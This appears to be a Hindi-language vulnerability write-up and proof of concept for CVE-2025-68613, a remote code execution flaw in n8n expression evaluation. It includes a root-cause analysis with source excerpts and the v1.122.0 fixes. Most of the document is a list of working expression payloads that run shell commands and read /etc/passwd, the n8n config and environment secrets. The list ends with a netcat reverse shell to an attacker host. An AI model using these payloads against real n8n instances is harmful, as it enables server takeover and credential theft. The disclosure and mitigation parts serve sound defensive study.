
# CVE-2025-68613: n8n एक्सप्रेशन मूल्यांकन में IIFE this-संदर्भ बायपास के माध्यम से RCE CVE-2025-68613 का विस्तृत तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट, जो n8n एक्सप्रेशन मूल्यांकन में IIFE this-संदर्भ बायपास के माध्यम से एक गंभीर RCE भेद्यता है। इसमें रूट कॉज़ विश्लेषण, एक्सप्लॉइट वेक्टर और शमन मार्गदर्शन शामिल है।
दिनांक: 23 दिसंबर 2024 स्थिति: ✅ RCE पूर्ण रूप से सत्यापित सफल CVSS स्कोर: 10.0 (गंभीर)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
निष्पादन परिणाम: सिस्टम उपयोगकर्ता जानकारी सफलतापूर्वक लौटाई गई (जैसे uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))
उपयोगकर्ता इनपुट
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
data संदर्भ ऑब्जेक्ट बनाना
↓
data.process = वास्तविक process ऑब्जेक्ट संदर्भ
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ महत्वपूर्ण: this = data
↓
तत्काल-निष्पादन फ़ंक्शन निष्पादित होता है
↓
this.process.mainModule.require ← ⚠️ वास्तविक require तक पहुँच
↓
child_process मॉड्यूल लोड करता है
↓
execSync('id') ← 🔥 पूर्ण RCE!
फ़ाइल: packages/workflow/src/expression.ts
फ़ंक्शन: Expression.resolveSimpleParameterValue()
पंक्तियाँ: लगभग 230-290
// डेटा प्रॉक्सी जनरेट करें
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ भेद्यता बिंदु 1: data में process ऑब्जेक्ट जोड़ना
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ समस्या: हालाँकि यहाँ केवल कुछ गुण उजागर होते हैं, परंतु ऑब्जेक्ट संदर्भ पारित किया जाता है
// वास्तविक process ऑब्जेक्ट अभी भी प्रोटोटाइप श्रृंखला या अन्य तरीकों से एक्सेस किया जा सकता है
फ़ाइल: node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ भेद्यता बिंदु 2: data को this के रूप में पारित करना
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ भेद्यता बिंदु 3: new Function का उपयोग करके फ़ंक्शन बनाना
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
फ़ाइल: packages/workflow/src/expression-sandboxing.ts
v1.122.0 से पहले:
// ❌ FunctionThisSanitizer नहीं है
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← खाली सरणी, कोई this सैनिटाइज़ेशन नहीं
after: [PrototypeSanitizer, DollarSignValidator],
});
v1.122.0 के बाद:
// ✅ FunctionThisSanitizer जोड़ा गया
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← नया जोड़ा गया हुक
after: [PrototypeSanitizer, DollarSignValidator],
});
// FunctionThisSanitizer कार्यान्वयन
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// सभी फ़ंक्शन एक्सप्रेशन को फिर से लिखें, this को सुरक्षित ऑब्जेक्ट से स्पष्ट रूप से बांधें
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// function() { ... } को function() { ... }.bind({ process: {} }) में बदलें
}
});
};
फ़ाइल: packages/workflow/src/utils.ts
फ़ंक्शन: isSafeObjectProperty()
v1.122.0 से पहले:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ mainModule, binding, _load गायब हैं
v1.122.0 के बाद:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ नया जोड़ा गया
'binding', // ✅ नया जोड़ा गया
'_load' // ✅ नया जोड़ा गया
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// संवेदनशील फ़ाइल पढ़ें
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// निर्देशिका सूचीबद्ध करें
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// n8n कॉन्फ़िगरेशन पढ़ें
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// वर्तमान निर्देशिका सूचीबद्ध करें
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// this.process के माध्यम से सीधे एक्सेस करें
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// या ज्ञात कार्यशील विधि का उपयोग करें
{
{
JSON.stringify(process.env)
}
}
// नेटवर्क टूल जाँचें
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// नेटवर्क इंटरफ़ेस प्राप्त करें
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// रिवर्स शेल (⚠️ खतरनाक! केवल अधिकृत परीक्षण के लिए)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}